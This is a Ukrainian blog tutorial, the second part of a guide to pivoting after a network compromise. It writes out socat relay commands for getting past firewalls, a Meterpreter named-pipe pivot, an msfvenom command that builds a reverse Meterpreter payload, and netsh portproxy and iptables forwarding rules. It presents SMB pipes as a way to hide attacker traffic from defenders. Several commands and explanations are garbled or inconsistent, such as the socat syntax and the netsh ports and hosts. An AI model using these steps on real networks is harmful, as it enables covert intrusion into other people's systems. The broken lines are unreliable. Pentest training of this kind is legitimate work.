Pivoting у пентесті: Повний практичний гайд (Частина 2)

24.06.2025 2 хвилин Автор: Cyber Witcher

У другій частині нашого практичного гайду з пентесту я детально розповідаю про Double Pivoting, обхід файрволів через socat, техніку з SMB Named Pipes, а також наводжу живий кейс із використанням iptables, netsh та proxychains для прокидання трафіку між сегментами мереж. Це матеріал для тих, хто вже знайомий з базовим пивотингом, і хоче перейти на новий рівень.

Розпочнемо

У цій заключній частині ми розглянемо:

  • Практика Pivoting (Double Pivoting)

  • Іменовані канали SMB

  • Брандмауер

  • Висновок

Кейс із цієї статті:

Щоб досягти такого результату, я трохи похимічив з iptables і налаштував так, що я не можу дотягнутися до Windows машини, але можу до Linux. Тепер ми можемо починати.

Практика Pivoting

Тут я розповім про таку річ, як Double Pivoting, і покажу щось цікаве.

Double Pivoting

Для початку ми уявимо, що вже маємо доступ до 2-х хостів, але тільки один (Windows), може дотягнутися до потрібного нам Linux хоста в другій підмережі, значить, щоб дістатися до потрібного хоста ми можемо:

  • Вибудувати тунель

  • Використовувати методи VPN

Я розгляну метод з вибудовуванням тунелю і для нього, мені знадобиться Chisel (взагалі метод з ним я знайшов тут , тому що я використовував Ligolo, але ніколи не знаєш, яке знання знадобиться).

Так як ми не можемо підключати 2 хости до одного порту (при використанні Chisel), ми повинні або відкривати новий порт сервера, або побудувати тунель з півотів. Але спочатку я розповім про стандартний пивотинг за допомогою Chisel.

Власне як це робиться. Для початку ми запустимо сервер на локальній машині:

Після запускаємо клієнт на зламаній машині (перший Linux хост):

Далі додаємо socks5 127.0.0.1 1080в/etc/proxychains4.conf

Успішним скан nmap’ом говорить нам про те, що все вийшло.

Тепер ми нафантазуємо собі, що вже зламали Windows і маємо на ній шелл:

Після ми скористаємося зламаним Linux хостом, як клієнтом і сервером, одночасно, а на Windows машині ми запустимо клієнт, який підключиться до лінукс хосту (серверу 2):

Клієнт і сервер
На хості Windows (тут 10.0.2.5 – IP-адреса сервера 2)
Підключення

Додаємо socks5 127.0.0.1:2080в наш /etc/proxychains.confі перевіряємо – чи маємо ми доступ до цільової Linux машини (який повинні мати):

Ми успішно побудували тунель з двох скомпроментованих хостів.

Обхід файрволів

Жодної reverse shell або SSH-тунелі нам тут не допоможуть. Як альтернатива можна організувати доступ на «третій» хост з іншого VLAN, на який обидва можуть ініціювати TCP-з’єднання.

Виглядає це так:

Ми можемо використовувати socat, щоб обійти блокування:

Код:


third$> socat tcp-listen:5555 tcp-listen:6666
victim$> socat tcp-connecthird:6666 tcp-connectarget:22

Важливо ініціювати перше підключення до 5555/tcp, оскільки socat виконує другу половину операцій із сокетами (tcp-listen:6666) після встановлення з’єднання tcp-listen:5555. У результаті виходить, що два вхідні з’єднання зв’язуються через pipe, і через цей pipe може піти трафік в обхід відразу двох файрволів або NAT.

В результаті ми отримали доступ до порту 22 на машину target, яка ховалася за файрволом. На цьому я закінчу цей розділ і перейду до розділу – SMB Named Pipes.

Самевані канали SMB

Ця техніка використовується більше для приховування нашого трафіку в мережі замовника (або недруга). Взагалі навіщо це потрібно: в той час, як HTTP(S) з’єднання може бути помічене – SMB немає, тому що в мережі, між комп’ютерами так багато SMB з’єднань(що робить нас непомітніше). Ця функція раніше існувала, тільки в Cobalt Strike, але потім з’явилася в Metasploit Framework і Havoc. Також хочу зауважити, що це працює тільки на Windows (і іноді на Linux) хостах.

Metasploit

У ньому ми просто додаємо пайп у вже відкритій сесії meterpreter, командою – pivot add -t pipe -l 10.0.2.6 -n msfpipe -a x64 -p windows

Тут:

  • -t – тип пива

  • -l – скомпроментований хост

  • -n – Ім’я пайпа

  • -a – архітектура

  • -p – платформа

Також ви можете створити reverse_named_pipe навантаження за допомогою MSFvenom:

msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=172.16.16.19 PIPENAME=bgpipe -f exe -o pipe.exe

Про Havoc та Cobalt Strike, я не бачу сенсу розповідати, тому що там ви просто повинні згенерувати SMB Beacon.

Firewall

Тут я розповім про Pivoting з такими файрволами, як iptables і netsh.

Netsh

Ви коли-небудь хотіли направити трафік через зламаний хост Windows без необхідності встановлювати сеанс Meterpreter або завантажувати файли, які можуть бути позначені захистом кінцевої точки? netsh interface portproxy вбудований прямо в Windows і має все необхідне для створення точки повороту. Він працює, спрямовуючи вхідний трафік із зазначеного хоста: порту на кінцевий хост: порт. Дуже просто і дуже ефективно.

Робиться це так:

Код:


C:\>netsh interface portproxy add v4tov4 listenport=<lport>
listenaddress=<lhost> connectport=<rport> connectaddress=<rhost>

<lport> - локальний порт для прослуховування
<lhost> - локальний хост
<rport> - віддалений порт
<rhost> - віддалений хост

Наприклад:

Код:


C:\>netsh interface portproxy add v4tov4 listenport=1122
listenaddress=0.0.0.0 connectport=8080 connectaddress=10.0.2.6

Це дозволить локально прив’язати 0.0.0.0 (всі мережеві інтерфейси) до 1194/tcp та направити вхідні з’єднання на віддалений хост 10.10.10.20:8080. Цей конкретний приклад можна використовувати для доступу до веб-застосунку, який знаходиться за обмежувальним брандмауером. Також є офіційна дока від Microsoft.

IPTABLES

Щоб прокинути порт за допомогою iptables, ми повинні прописати правило на перенаправлення вхідного трафіку, на адресу іншої машини:

Код:


sudo iptables -t nat -A PREROUTING -i ens5 -p tcp --dport 80 -j DNAT --to-destination 187.205.169.158:80
sudo iptables -t nat -A POSTROUTING -j MASQUERADE

Спочатку ми прописуємо правило перенаправлення вхідного трафіку на TCP порт 80, на порт 80 машини з IP – 187.205.169.158. Другий рядок забезпечує маскування вихідних IP-адрес для відповідності вихідному трафіку.

Висновок

Це була 2-а і заключна стаття з гайду на Pivoting, сподіваюся, обидві статті принесли вам користь і ви чомусь навчилися.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.